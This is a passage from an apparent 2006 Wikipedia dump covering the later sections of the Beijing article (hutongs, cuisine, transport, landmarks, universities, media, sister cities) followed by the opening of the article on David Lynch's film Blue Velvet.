The [[Siheyuan]] (四合院) is a traditional architectural style of Beijing. A siheyuan consists of a square housing compound, with rooms enclosing a central courtyard. This courtyard often contains a [[pomegranate]] or other type of tree, as well as potted flowers or a [[fish tank]]. Siheyuans line [[Hutong]]s (胡同), or alleys, which connect the interior of Beijing's old city. They are usually straight and run east-to-west so that doorways can face north and south for [[Feng Shui]] reasons. They vary in width &amp;mdash; some are very narrow, enough for only a few pedestrians to pass through at a time.

Once ubiquitous in Beijing, siheyuans and hutongs are now rapidly disappearing, as entire city blocks of hutongs are leveled and replaced with high-rise buildings. Residents of the hutongs are entitled to apartments in the new buildings of at least the same size as their former residences. Many complain, however, that the traditional sense of community and street life of the hutongs cannot be replaced. Some particularly historic or picturesque hutongs are being preserved and restored by the government, with the objective that by the 2008 Olympics, only these few will remain. One such example can be seen at [[Nanchizi]].

[[Mandarin cuisine]] is the local style of cooking in Beijing. [[Peking Roast Duck]] is perhaps the most well-known dish. The [[Manhan Quanxi]] (&quot;[[Manchu]]-[[Han Chinese]] full banquet&quot;) is a traditional banquet originally intended for the ethnic-[[Manchu]] emperors of the [[Qing Dynasty]]; it remains very prestigious and very expensive.

[[Teahouse]]s are also common in Beijing. Chinese [[tea]] comes in many varieties and some rather expensive types of Chinese tea are said to cure an ailing body extraordinarily well.

The [[Jingtailan]] is a [[cloisonné]] metalworking technique and tradition originating from Beijing, and one of the most revered traditional crafts in China. [[Beijing lacquerware]] is well known for the patterns and images carved into its surface. 

The [[Fuling Jiabing]] is a traditional Beijing snack food, a pancake (''bing'') resembling a flat disk with filling, made from ''fu ling'' (''[[Poria cocos]] (Schw.) Wolf'', or &quot;tuckahoe&quot;), an ingredient common in traditional [[Chinese medicine]].

=== Stereotypes ===
Beijingers are stereotypically held to be open, confident, humorous, majestic in manner, enthusiastic about politics, art, culture, or other &quot;grand&quot; matters, unconcerned with thrift or careful calculation, and happy to take center stage. They are also stereotypically aristocratic, arrogant, laid back, disdainful of &quot;provincials&quot;, always &quot;lording it over others&quot;, and strongly conscious of social class.  These [[stereotype]]s may have originated from Beijing's status as China's capital for most of the past 800 years, and the high concentration of officials and other notables in Beijing that has resulted.

== Transportation ==
:''Main article: [[Transportation in Beijing]]''

With the growth of the city following economic reforms, Beijing has evolved as an important transportation hub. Encircling the city are five ring roads, nine expressways and city express routes, eleven China National Highways, several railway routes, and an international airport.

=== Rail ===
Beijing has two major railway stations: [[Beijing Railway Station]] (or the central station) and [[Beijing West Railway Station]]. Five other railway stations in Metropolitan Beijing handle regular passenger traffic: [[Beijing East Railway Station|Beijing East]], [[Beijing North Railway Station|Beijing North]], [[Beijing South Railway Station|Beijing South]], [[Fengtai Railway Station|Fengtai]], and [[Guang'anmen Railway Station|Guang'anmen]].

Beijing is a railway hub. There are [[Railways of China|railway lines]] from Beijing to [[Guangzhou]], [[Shanghai]], [[Harbin]], [[Baotou]], [[Taiyuan]], [[Chengde]] and [[Qinhuangdao]].

International trains, including lines to cities in [[Russia]] and [[Pyongyang]], [[North Korea]] (DPRK), all run through Beijing. Direct trains to [[Kowloon]], [[Hong Kong]] [[Special Administrative Region|SAR]] also depart from Beijing.

Construction on a [[Beijing-Tianjin high-speed rail]] began on July 4, 2005, and is scheduled to be completed in 2007.

=== Roads and expressways ===
:''See: [[Ring Roads of Beijing]], [[Expressways of Beijing]] and [[China National Highways of Beijing]] for more related information.''
[[Image:BadalingExpwyNov02.jpg|thumb|300px|The [[Badaling Expressway]] near the intersection with the Northern [[6th Ring Road]] (November 2002 image)]]
Beijing is connected via road links from all parts of China. Nine [[expressways of China]] (with six wholly new expressways under projection or construction) connect with Beijing, as do eleven [[China National Highway]]s. Within Beijing itself, an elaborate network of five ring roads has developed, but they appear more rectangular than ring-shaped. Roads in Beijing often are in one of the four compass directions (unlike, for example, [[Tianjin]]).

One of the biggest concerns with traffic in Beijing deals with its apparently ubiquitous traffic jams. Traffic in the city centre is often gridlocked, especially around rush hour. Even outside of rush hour, several roads still remain clogged up with traffic. Urban area ring roads and major through routes, especially near the [[Chang'an Avenue]] area, are often clogged up during rush hour.

Recently expressways have been extended (in some cases reconstructed as express routes) into the territories within the [[3rd Ring Road (Beijing)|3rd Ring Road]]. As they are either expressways or express routes, drivers do not need to pass through intersections with traffic lights. This may finally solve the difficulties in &quot;hopping between one ring and another&quot;.

Another problem is that public transportation is underdeveloped (the subway system is presently minimal) and that even buses are jam-packed with people around rush hour. Beijing was poorly designed in terms of zoning and in terms of transportation system [http://www.chinadaily.com.cn/en/doc/2003-10/06/content_269518.htm], [http://www.bjreview.com.cn/200410/Nation-200410(C).htm]. Compounding the problem is patchy enforcement of traffic regulations, and [[road rage]]. Beijing authorities claim that traffic jams may be a thing of a past come the [[2008 Olympics]]. The authorities have introduced several bus lanes where, during rush hour, all vehicles except for public buses must keep clear. &lt;!-- An express bus route will be opened on Christmas Day 2004. - did it? can someone check? --&gt;

[[Chang'an Avenue]] runs east-west through the centre of Beijing, past [[Tian'anmen]]. It is a major through route and is often called the &quot;First Street in China&quot; by authorities.

{{Roads and Expressways of Beijing}}

=== Air ===
Beijing's main airport is the [[Beijing Capital International Airport]] (PEK) near [[Shunyi District|Shunyi]], which is about 20 km northeast of Beijing city centre. Most domestic and nearly all international flights arrive and depart at Capital Airport. Capital Airport is the main hub for [[Air China]]. It is linked to central Beijing by the [[Airport Expressway]] and is a roughly 40-minute drive from the city centre during good traffic hours. In preparation for the 2008 Olympics, another expressway is being built to the Airport, as well as a lightrail system.

Other airports in the city include [[Liangxiang Airport]], [[Nanyuan Airport]], [[Xijiao Airport]], [[Shahe Airport]] and [[Badaling Airport]]. However, these are primary for military use and less well-known to the public.

=== Public transit ===
The evolving [[Beijing Subway]] has four lines (two above ground, two underground), with several more being built in preparation for the [[2008 Summer Olympics]]. There were 599 [[bus]] and [[trolleybus]] routes in Beijing as of 2004. [http://www.bjstats.gov.cn/tjyl/tjgb/200501210039.htm] [[Taxis]] are nearly ubiquitous, and some can accept [[Yikatong card]]s for payment.

Buses and trolleybus fares cost 1 [[Renminbi]] for shorter trips, and more for longer trips. Subway tickets range from 2 to 5 [[Renminbi]]. Taxi fares depend on vehicle type: these start at 10 [[Renminbi]] for the first 3 to 4 kilometers, and go up by 1.20, 1.60, 2.00, or 2.50 [[Renminbi]] per extra kilometer, depending on the type of taxi. Some, too, can accept [[Yikatong card]]s for payment.

== Tourism ==
[[Image:TempleofHeaven-HallofPrayer.jpg|thumb|250px|The Temple of Heaven]]
[[Image:Wan song monk pagoda01.jpg|thumb|150px|Wansong Pagoda]]
:''Main article: [[Tourist attractions of Beijing]]''
&lt;!-- Please add any other sites you can think of to [[Tourist attractions of Beijing]]. --&gt;
Despite the turmoil of the [[nineteenth century|nineteenth]] and [[twentieth century|twentieth]] centuries — including damage caused by [[Old Summer Palace|European military intervention]], the [[Second Sino-Japanese War|Japanese invasion of WWII]] and the [[Cultural Revolution]] — and the recent intense [[urbanisation]] and transformation, including the demolition of [[hutong]]s, Beijing still maintains tourist attractions that are rich in history.

Although more known for its political significance in the West, [[Tian'anmen]] (The Gate of Heavenly Peace) remains the spiritual center of China and one of the most important tourist sites of Beijing, both by itself and as the main entrance to the [[Forbidden City]]. Other world-renowned sites include the [[Badaling]] section of the [[Great Wall of China]], the [[Summer Palace]], and the [[Temple of Heaven]].

===Buildings, monuments, and landmarks===
*Sections of the [[Great Wall of China|Great Wall]] ([[World Heritage Site]]) at:
** [[Badaling]]
** [[Juyongguan]]
** [[Mutianyu]]
** [[Simatai]]
** [[Jinshanling]]
** [[Jiankou]]
*[[Forbidden City]] ([[World Heritage Site]])
*[[Tiananmen Square]], site of the Tiananmen Square protests of [[Tiananmen Square protests of 1919|May 4, 1919]], [[Tiananmen Incident|1976]], and [[Tiananmen Square protests of 1989|1989]]
**[[Tiananmen]] (Gate of Heavenly Peace)
**[[Great Hall of the People]] (National Legislature)
**[[The National Museum of China]]
**[[Monument to the People's Heroes]]
**[[Mausoleum of Mao Zedong]]
* [[The Summer Palace]] ([[World Heritage Site]])
* [[Old Summer Palace|Ruins of the Old Summer Palace]]
* [[Peking Man]] Site at [[Zhoukoudian]] ([[World Heritage Site]])
* The [[Ming Dynasty Tombs]] ([[World Heritage Site]])
* [[Gulou|Bell Tower and Drum Tower]]
* Historic [[Hutong]]s and [[Siheyuan]]s in many older neighborhoods
* [[Lugou Bridge]] (Marco Polo Bridge)
* [[Prince Gong's Mansion|Prince Gong Mansion]] (Gong Wang Fu)
* [[Zheng Yici Peking Opera Theatre]]
* [[Liulichang|Liulichang Culture Street]] 
* [[Beijing Ancient Observatory]]

===Temples, cathedrals, and mosques===
* [[Temple of Heaven]] ([[World Heritage Site]]), situated in the southern area of urban Beijing
* [[Temple of Earth]], located in northern Beijing
* [[Temple of Sun]], situated in the eastern area of urban Beijing
* [[Temple of Moon]], located in western Beijing
* [[Tanzhe Temple]]
* [[Jietai Temple]]
* [[Yunju Temple]]
* [[Yonghegong]] (Lama Temple)
* [[Guangji Temple]] 
* [[Confucius Temple]]
* [[Great Bell Temple]]
* [[Five Pagoda Temple]]
* [[Temple of Azure Clouds]]
* [[Temple of Recumbent Buddha]]
* [[White Dagoba Temple]] in [[Beihai Park]]
* [[Badachu]]
* [[Immaculate Conception Cathedral]] 
* [[Holy Saviour Church]] 
* [[Niujie Mosque]] 

===Parks and gardens===
* [[Beihai Park]]
* [[Shichahai]]
* [[Jingshan Park]]
* [[Beijing World Park]]
* The [[Fragrant Hills]] (Xiangshan)
* [[The Grandview Garden]] (Daguanyuan)
* [[Beijing Botanical Garden]] 
* [[Taoranting Park]]

===Shopping and commercial districts===
* [[Wangfujing]]: Beijing's most upscale, globalized shopping district 
* [[Xidan]] 
* [[Beijing CBD]]
* [[Beijing Financial Street]]
* [[Zhongguancun]]
* [[Yizhuang]]

See also [[Jin Yuan Mall]].

===Hotels and lodging===
In first two decades following the PRC's foundation in 1949, Beijing had virtually no hotels (at least by Western standards), due to economic and social conditions at the time. One system of institution providing a place for individuals traveling to Beijing from other locations to spend the night was the ''[[zhaodaisuo]]'' (literally, &quot;accommodation centre&quot;). ''Zhaodaisuo'' were subordinate to state organisations or state organs. Older ones had communal public conveniences and amenities. Some ''zhaodaisuos'' still remain in use today.

In the late 1970s, Beijing, alongside much of China during the period of reform and economic opening under [[Deng Xiaoping]], saw greater attempts at attracting and catering to international business. A large number of hotels and other facilities to accommodate business, tourist, and other visitors began to be constructed. Today, given Beijing's size and status as one of the most frequently visited and economically, politically, and culturally important cities in Asia, a great number of hotels exist, many rivalling the highest international standards.

The most well-known hotel is the [[Beijing Hotel]], which is state-owned. Other notable hotels are the [[Great Wall Sheraton Hotel]], the [[Jianguo Hotel]], the [[China World Hotel]], the [[St. Regis]], [[Grand Hyatt at Oriental Plaza]] and the Peninsula Palace Hotel, operated by the Hong Kong-based [[Peninsula Group]].

[[Youth hostel|Youth hostels]] do exist but are few in number. There is one near the centre of Beijing, where accommodations are located four floors below ground level.

===Nightlife===
Nightlife in Beijing is varied. Most clubs are situated in the area around [[Sanlitun]] or in the region near the [[Workers Stadium]], especially to the north and to the west. New clubs opened on [[Gongrentiyuchang West Road]].

[[Wudaokou]], in northwestern Beijing, is also a bustling center of nightlife. There are more Koreans and other foreigners, mostly students, in the area.

Bar-wise, the following areas of Beijing are known as hubs for bars which open until late:

* [[Sanlitun]]
* [[Houhai]]
* [[Yuandadu]]

==Education==
:''Main article: [[Colleges and Universities of Beijing]]''

Beijing is home to a great number of colleges and universities, including several well-regarded universities of international stature, especially including China's two most prestigious institutions, [[Peking University]] (&quot;Beida&quot;) and [[Tsinghua University]]. Other well known institutions, domestically and internationally, include [[Beijing Normal University]] and [[Renmin University of China]]. 

Owing to Beijing's status as the political and cultural capital of China, a larger proportion of tertiary-level institutions are concreated here than probably any other city in China, reaching at least 59 in number. Many international students from [[Japan]], [[Korea]], [[North America]], [[Europe]], [[Southeast Asia]], and elsewhere come to Beijing to study every year, a growing trend, especially among Western students. The institutions listed here are administered by China's [[Ministry of Education]].

Best-known institutions:
*[[Tsinghua University]] (清华大学) (founded 1911), typically considered one of the two best academic institutions in China along with Peking University
*[[Peking University]] (北京大学) (founded 1898), typically considered one of the two best academic institutions in China along with Tsinghua University
*[[Renmin University of China]] (中国人民大学) 
*[[Beijing Normal University]] (北京师范大学) (founded 1902)
*[[Beijing Foreign Studies University]] (北京外国语大学) 

Other institutions include:
*[[Beijing Language and Culture University]] (北京语言大学) 
*[[Beijing Forestry University]] (北京林业大学) 
*[[Beijing Institute of Technology]] (北京理工大学)
*[[Beijing Jiaotong University]] (北京交通大学) 
*[[Beijing University of Chemical Technology]] (北京化工大学) 
*[[Beijing University of Chinese Medicine]] (北京中医药大学) 
*[[Beijing University of Petroleum]] (石油大学) 
*[[Beijing University of Posts and Telecommunications]] (北京邮电大学) 
*[[Capital Normal University]] (首都师范大学)
*[[Central University of Finance and Economics]] (中央财经大学)
*[[China Agricultural University]] (中国农业大学)
*[[China University of Political Science and Law]] (中国政法大学) 
*[[Communication University of China]] (中国传媒大学)  
*[[Beijing University Health Science Center]] (formally Beijing Medical University) (北京大学医学部, 原北京医科大学) 
*[[University of International Business and Economics]] (对外经济贸易大学)
*[[University of International Relations]] (国际关系学院)
*[[University of Science and Technology Beijing]] (北京科技大学)
*[[Beijing University of Aeronautics and Astronautics]] (北京航空航天大学)
*[[Beijing University of Technology]] (北京工业大学)

Arts-related institutions:
*[[Central Academy of Drama]] (中央戏剧学院)
*[[Central Conservatory of Music]] (中央音乐学院)
*[[Central Institute of Fine Arts]] (中央美术学院)
*[[Beijing Film Academy]] (北京电影学院)

==Media==
[[Image:Xinhua News Agency.JPG|right|thumb|140px|[[Xinhua News Agency]].]]
===Television and radio===
[[Beijing Television]] (BTV) broadcasts on numbered channels 1 through 10. Unlike [[China Central Television]] (CCTV), there is at present no exclusive English-language TV channel on a citywide level in Beijing.

Three radio stations feature programmes in English:  ''Hit FM'' on FM 88.7, ''Easy FM'' by [[China Radio International]] (CRI) on FM 91.5, and the newly launched ''Radio 774'' on AM 774.

===Press===
The well-known ''[[Beijing Evening News]]'' (''Beijing Wanbao'') [[newspaper]] is distributed every afternoon, covering news about Beijing in Chinese. Other newspapers include ''The Beijing News'' (''Xin Jing Bao''), the ''Beijing Star Daily'', the ''Beijing Morning News'', the ''[[Beijing Youth Daily]]'' (''Beijing Qingnian Bao''), as well as English-language weeklies ''[[Beijing Weekend]]'' and ''[[Beijing Today]]'' (the English-language edition of ''Youth Daily''). ''[[People's Daily]]'' and ''[[China Daily]]'' (English) are also published in Beijing.

Nationally-circulated Chinese newspapers are also available in Beijing.

Publications primarily aimed at international visitors and the expatriate community include the English-language periodicals ''[[City Weekend]]'', ''[[Beijing This Month]]'', ''[[Beijing Talk]]'', ''[[that's Beijing]]'' and ''[[MetroZine]]''.

[[Rolling Stone]] Magazine will base it China version's editorial staff in Beijing.

The international press, including English- and Japanese-language newspapers and magazines, are available in major international hotels and [[Friendship Store]]s, and content often appears complete.

== Sports ==
Beijing will host the [[2008 Summer Olympics]] and the [[2008 Summer Paralympics]].

Professional sports teams based in Beijing include:

*[[Chinese Football Association Super League]]
** [[Beijing Xiandai]]

*[[Chinese Basketball Association]]
** [[Beijing Ducks]]
** [[Beijing Olympians]]

==City and regional partnerships ==
Beijing maintains [[Town twinning|partnerships]] or &quot;sister city&quot; status with the following international locations. (''Note: some locations are [[province]]s or [[region]]al-level units, not cities properly. Beijing itself is not technically a city, being a [[municipality of China|municipality]]'').

{| class=&quot;wikitable&quot;
! City
! Country
! Sister City since:
|-
|[[Tokyo]]
|[[Japan]]
|[[March 14]], [[1979]]
|-
|[[New York City]]
|[[USA]]
|[[February 25]], [[1980]]
|-
|[[Belgrade]]
|[[Serbia and Montenegro]]
|[[October 14]], [[1980]]
|-
|[[Lima]]
|[[Peru]]
|[[November 21]], [[1983]]
|-
|[[Washington, D.C.]]
|[[USA]]
|[[May 15]], [[1984]]
|-
|[[Madrid]]
|[[Spain]]
|[[September 16]], [[1985]]
|-
|[[Rio de Janeiro]]
|[[Brazil]]
|[[November 24]], [[1986]]
|-
|[[Île-de-France (région)|Île-de-France]]{{ref|Ilede}}
|[[France]]
|[[July 2]], [[1987]]
|-
|[[Cologne]]
|[[Germany]]
|[[September 14]], [[1987]]
|-
|[[Ankara]]
|[[Turkey]]
|[[June 20]], [[1990]]
|-
|[[Cairo]]
|[[Egypt]]
|[[October 28]], [[1990]]
|-
|[[Islamabad]]
|[[Pakistan]]
|[[October 8]], [[1992]]
|-
|[[Jakarta]]
|[[Indonesia]]
|[[October 8]], [[1992]]
|-
|[[Bangkok]]
|[[Thailand]]
|[[May 26]], [[1993]]
|-
|[[Buenos Aires]]
|[[Argentina]]
|[[July 13]], [[1993]]
|-
|[[Seoul]]
|[[South Korea]]
|[[October 23]], [[1993]]
|-
|[[Kiev]]
|[[Ukraine]]
|[[December 13]], [[1993]]
|-
|[[Berlin]]
|[[Germany]]
|[[April 5]], [[1994]]
|-
|[[Brussels]]
|[[Belgium]]
|[[September 22]], [[1994]]
|-
|[[Hanoi]]
|[[Vietnam]]
|[[October 6]], [[1994]]
|-
|[[Amsterdam]]
|[[Netherlands]]
|[[October 29]], [[1994]]
|-
|[[Moscow]]
|[[Russia]]
|[[May 16]] [[1995]]
|-
|[[Paris]]
|[[France]]
|[[October 23]], [[1997]]
|-
|[[Rome]]
|[[Italy]]
|[[May 28]], [[1998]]
|-
|[[Gauteng]]{{ref|Gaut}}
|[[South Africa]]
|[[December 6]], [[1998]]
|-
|[[Ottawa]]
|[[Canada]]
|[[October 18]], [[1999]]
|-
|[[Canberra]]
|[[Australia]]
|[[September 14]], [[2000]]
|-
|[[Manila]]
|[[Philippines]]
|[[November 14]], [[2005]]
|-
|[[Tehran]]
|[[Iran]]
|Planned
|}
1: {{note|Ilede}} A ''[[région]]'' of France &lt;br&gt;
2: {{note|Gaut}} A [[Provinces of South Africa|province]] of [[South Africa]]
:Source: [http://www.ebeijing.gov.cn/ying/default.htm www.ebeijing.gov.cn]

==See also==
* [[List of mayors of Beijing]]

== External links ==
{{sisterlinks|Beijing}}
* [http://www.ebeijing.gov.cn/ Official site (English version)]
* [http://en.beijing-2008.org/ Official 2008 Summer Olympics Website] (English)
* [http://www.beijingpage.com/ The Beijing Page - #1 Google Search for &amp;quot;Beijing&amp;quot;] (English)
* [http://www.chinaodysseytours.com/maps/beijing.html Beijing Map - full size, 1560 x 1547 pixels, 645kb]
* [http://www.muztagh.com/images/map/map-of-beijing-large.jpg Large map of Beijing region]
* [http://www.beijingvirtualcity.com/ Beijing The Virtual City (under construction)]
* [http://beijing.mychinastart.com/ Useful collection of Beijing links] (English)
* [http://www.asinah.org/weather/ZBAA.html Beijing Weather Forecast]
* [http://gou-rou.com/ gou-rou.com Beijing satire]
* [http://www.olympicwatch.org/ Human Rights in China and the Beijing 2008 Olympics - OlympicWatch.org]

===Travel and tourism===
* [http://www.squidoo.com/beijing Top tips for visitors to Beijing]
* [http://www.code-d.com/china/beijing.html Photos of Beijing]
* [http://www.chinahighlights.com/beijing/ Beijing Travel Informations]
* [http://www.mybeijingchina.com/ My Beijing travel Guide]
* [http://www.chinadetail.com/Nation/ Chinese Central, Provincial and City governments]
* [http://www.peking.org Peking.org - Peking Tourist Attractions, Photos and History]
* [http://www.thebeijingguide.com/ The Beijing Guide]
* [http://brucema.topcities.com/beijingtour/index.html Bruce Ma's Beijing Tour] [http://www.brucema.co.nr/], pictures
* [http://www.chinahighlights.com/beijing/tours.htm  Beijing tours]
* [http://www.beijing.alloexpat.com/ Beijing Expatriates Resources]
* [http://www.beijingservice.com/ Beijing Travel Service]
* [http://www.beijingtrip.com/ Beijing Travel]
* [http://www.beijinglives.com/ Beijinglives.com  Information about tourism in Beijing]

===Images of Beijing===
* [http://www.socialcapitalgateway.org/beijing.htm Pictures of Beijing]
* [http://earthobservatory.nasa.gov:81/Newsroom/NewImages/images.php3?img_id=15309 Satellite image of Beijing] at [[NASA Earth Observatory]]
* [http://www.socialcapitalgateway.org/beijing.htm Pictures of Beijing Attractions]
* [http://www.flickr.com/photos/tags/beijing Flickr: Photos tagged with beijing], photos likely of Beijing
* [http://www.ianandwendy.com/slideshowAOG.htm?files=OtherTrips/ChinaVietnamCambodia/China/Beijing Pictures from a backpacker's trip around Beijing]

===Wiki project links===
* {{wikitravelpar|Beijing}}

{{Provinces_of_China}}

{{Olympic Summer Games Host Cities}}

[[Category:Beijing|*]]
[[Category:Cities in China]]
[[Category:Capitals in Asia]]
[[Category:Host cities of the Summer Olympic Games]]

{{Link FA|de}}

[[ar:بكين]]
[[an:Pekín]]
[[bg:Пекин]]
[[ca:Pequín]]
[[cv:Пекин]]
[[cs:Peking]]
[[cy:Beijing]]
[[da:Beijing]]
[[de:Peking]]
[[et:Peking]]
[[es:Pekín]]
[[eo:Pekino]]
[[eu:Beijing]]
[[fr:Pékin]]
[[gl:Beijing - 北京]]
[[ko:베이징]]
[[hi:बेइजिन्ग]]
[[io:Beijing]]
[[id:Beijing]]
[[it:Pechino]]
[[he:בייג'ינג]]
[[jv:Beijing]]
[[lt:Pekinas]]
[[hu:Peking]]
[[mk:Пекинг]]
[[ms:Beijing]]
[[na:Beijing]]
[[nl:Peking]]
[[ja:北京]]
[[ka:პეკინი]]
[[lb:Peking]]
[[no:Beijing]]
[[nn:Beijing]]
[[pl:Pekin]]
[[pt:Pequim]]
[[ro:Beijing]]
[[ru:Пекин]]
[[scn:Pechinu]]
[[simple:Beijing]]
[[sk:Peking]]
[[sl:Peking]]
[[fi:Peking]]
[[sv:Peking]]
[[ta:பீஜிங்]]
[[th:ปักกิ่ง]]
[[vi:Bắc Kinh]]
[[tr:Pekin]]
[[za:Baekging]]
[[zh:北京]]</text>
    </revision>
  </page>
  <page>
    <title>Blue Velvet</title>
    <id>3947</id>
    <revision>
      <id>40173419</id>
      <timestamp>2006-02-18T18:59:19Z</timestamp>
      <contributor>
        <username>Sandoz</username>
        <id>354341</id>
      </contributor>
      <comment>/* Trivia */</comment>
      <text xml:space="preserve">{{Infobox Film |
  name     = Blue Velvet |
  image          = BlueVelvetLynch.jpg |
  director       = [[David Lynch]] |
  producer       = [[Fred C. Caruso]] &lt;BR \&gt; [[Richard A. Roth]] |
  writer         = [[David Lynch]] |
  music          = |
  starring       = [[Kyle MacLachlan]] &lt;BR \&gt; [[Isabella Rossellini]] &lt;BR \&gt; [[Dennis Hopper]] &lt;BR \&gt; [[Laura Dern]] |
  distributor    = [[De Laurentiis Entertainment Group]] |
  released   = [[12 September]], [[1986]] (premiere) |
  runtime        = 120 min. |
  language = English |
  budget         = $6,000,000 (estimated) |
  imdb_id        = 0090756 |
  awards         = |
|}}

'''''Blue Velvet''''' is a [[1986 in film|1986]] [[film]] directed and written by [[David Lynch]]. The film begins with the protagonist discovering a severed human ear, which he takes to the police. He begins to investigate the matter himself, and discovers a seamy underworld within his quaint suburban town.

== Synopsis ==
{{spoiler}}

The film begins with Jeffrey Beaumont, played by [[Kyle MacLachlan]], coming home from college after his father has a [[stroke]]. While crossing a field he discovers a human ear and takes it to the police.  His curiosity piqued, he begins investigating the matter himself. In the process, he discovers that within his quaint suburban town exists a steamy underworld of [[kinky sex]] and brutal [[violence]].

The film operates on a number of levels, coming on as both a detective mystery and a kitchen-sink drama. The film depicts a tangled relationship which transpires between Jeffrey, his sweetheart Sandy Williams (played by [[Laura Dern]]), who is the daughter of a detective, and [[Isabella Rossellini]]'s femme fatale Dorothy Vallens. 

The relationship is twisted into even sharper relief by the character of [[Frank Booth]] (played by [[Dennis Hopper]]), a maniacal gangster who gets off by physically abusing others, breathing [[amyl nitrite]], and playing [[Roy Orbison]]'s song, &quot;[[In Dreams (song)|In Dreams]]&quot;, preferably all at the same time. ([[Amyl nitrite]] was suggested by Dennis Hopper; it was [[helium]] in Lynch's original script.)

== Symbolism  ==
The most consistent symbolism in ''Blue Velvet'' is an [[insect]] motif introduced at the end of the first scene, when the camera zooms in on a well-kept suburban lawn until it discovers, underground, a swarming nest of disgusting bugs.  This is generally recognized as a metaphor for the seedy underworld that Jeffrey will soon discover under the surface of his own suburban, [[Reagan]]esque paradise.  The bug motif is recurrent throughout the film, most notably in the horrific bug-like oxygen mask that Frank wears, but also in the excuse that Jeffrey offers when he first gains access to Dorothy's apartment: he claims he is an insect exterminator.  One of Frank's sinister accomplices is also consistently identified through the yellow jacket he wears. [[Yellowjacket]] happens to be the name of a type of wasp. Finally, a robin eating a bug on a fence becomes a topic of discussion in the last scene of the film.

The severed ear that Jeffrey discovers is also a key symbolic element; the ear is what leads Jeffrey into danger.  Indeed, just as Jeffrey's troubles begin, the audience is treated to a nightmarish sequence in which the camera zooms into the ear canal of the severed, decomposing ear.  Notably, the camera does not reemerge from the ear canal until the end of the film.  When Jeffrey finally comes through his hellish ordeal unscathed, the ear canal shot is replayed, only in reverse, zooming out and revealing that this ear belongs to Jeffrey, as he relaxes in his yard on a summer day.

A number of scenes contain red drapes or curtains, a popular recurring image for Lynch, especially prominent in [[Twin Peaks]].

==History==
'''''Blue Velvet'''''  was made [[1986 in film|1986]], shortly after [[David Lynch|Lynch's]] artistically troubling film ''[[Dune (film)|Dune]],'' which ran into various problems during shooting and eventually became a commercial and critical disappointment. Drained from such a harrowing ordeal and frustrated over the whole mess, Lynch took some time off to develop a more personal project that he had been working on while filming ''Dune''. Surprisingly, [[Dino de Laurentiis]] decided to give Lynch another chance, but only with the stipulation that he take a cut in his salary and work with a reduced budget of only $6 million. In return, the young director could have total artistic freedom and control over the final cut of the film.

''Blue Velvet'''s origins ultimately lie in Lynch's childhood a period of his life spent deep in the forests of Spokane, Washington. If Lynch's childhood memories inspired the setting of ''Blue Velvet'', the actual story of the film originated from three ideas that crystallized in the filmmaker's mind over a period of time. Ideas for ''Blue Velvet'' had begun to form in Lynch's head as early as 1973. After finishing ''[[The Elephant Man (film)|The Elephant Man]]'', he met producer Richard Roth over coffee. Roth had read and enjoyed Lynch's ''Ronnie Rocket'' script but didn't think it was something he wanted to produce. He asked Lynch if the filmmaker had any other scripts Lynch only had ideas. &quot;I told him I had always wanted to sneak into a girl's room to watch her into the night and that, maybe, at one point or another, I would see something that would be the clue to a murder mystery. Roth loved the idea and asked me to write a treatment. I went home and thought of the ear in the field.&quot; For the filmmaker, the severed ear was the perfect way to draw Jeffrey into a secret world that lies at the heart of ''Blue Velvet''. The third idea that came to Lynch was [[Bobby Vinton]]’s classic rendition of the song &quot;Blue Velvet.&quot;

Once these three ideas came to Lynch, he set out to write a screenplay. The director wrote two scripts but both had a weak middle act so he ultimately rejected them. After his experiences with ''Dune'', Lynch returned to ''Blue Velvet'' and then De Laurentiis became involved and everything came together for the filmmaker.

It was the second film Lynch produced for Laurentiis. Because the material was completely different from anything that would be considered mainstream at the time, Laurentiis had to start his own production company to distribute it. The film was also cut down from its original four-hour length to its final 120 minute length. The missing footage was put in storage and apparently lost for good.

''Blue Velvet'' was a huge critical success, earning Lynch his second [[Academy Award]] nomination and introducing several common elements of his work, including abused women, the dark underbelly of small towns and unconventional uses of vintage songs ([[Bobby Vinton]]’s &quot;Blue Velvet&quot; and [[Roy Orbison]]’s &quot;[[In Dreams]]&quot; are both featured in disturbing ways). It was also the first time Lynch worked with composer [[Angelo Badalamenti]], who would contribute to all of his future full-length films.

The title is taken from a [[Bobby Vinton]] song by the same name, which is sung by [[Isabella Rossellini]]'s character in the film.

== Possible influences ==
&lt;div style=&quot;clear:right&quot;&gt;{{lynch}}&lt;/div&gt;
Many elements of ''Blue Velvet'' are reminiscent of [[Charles Laughton]]'s [[1955 in film|1955]] one-shot-wonder, ''[[The Night of the Hunter]]''.  The story of a child or naïve young man thrust into an unexpected adult world of crime, sex, and murder is common to both films, and the development of this subject as something of a journey towards the redemption of innocence also seems similar.  Both films feature a helpless woman held under the power of a sometimes disarming but ultimately terrifying madman.  Both madmen are tied symbolically to a primal, animal or insect world.  And in both films the child character loses his father in the first scene, and later seeks the help of a surrogate father figure but is disappointed in this appeal to adult, masculine authority.

If Lynch was indeed influenced by Laughton, the ending of ''Blue Velvet'' deserves special attention.  In both ''Blue Velvet'' and ''Night of the Hunter'', the trial of the adult world is ultimately followed by a return to innocence and childhood.  However, whereas Laughton's treatment of this ending seems heartfelt and has in fact been criticized as too saccharine or simplistic, Lynch's ending seems tongue in cheek, or even sarcastic.  Just as Lynch's opening shots of perfect suburban America quickly prove too good to be true, his ending leaves doubt as to whether normalcy has really been recovered.  The appearance of a deliberately stiff and artificial-seeming robin singing merrily to Jeffrey cements the impression of cynicism.

Additionally, [[Kenneth Anger]]'s [[1949 in film|1949]] dialogue-free short ''[[Puce Moment]]'', which features a dark-haired woman slightly past her prime modelling an array of bright clothing for the camera, may be counted as an influence.

==Awards==

David Lynch and Dennis Hopper won a [[Los Angeles Film Critics Association]] award in 1987 for ''Blue Velvet'' in categories Best Director (Lynch) and  Best Supporting Actor (Hopper). In 1987 [[National Society of Film Critics]] gave the film  Best Film, Best Director (David Lynch), Best Cinematography (Frederick Elmes) and  Best Supporting Actor (Dennis Hopper) awards. Also David Lynch was nominated for the 1987 [[Academy Award for Directing|Best Director]] [[Academy Award]].

==Trivia==
*The exterior scenes of 'Lumberton' were filmed in [[Wilmington, North Carolina]].
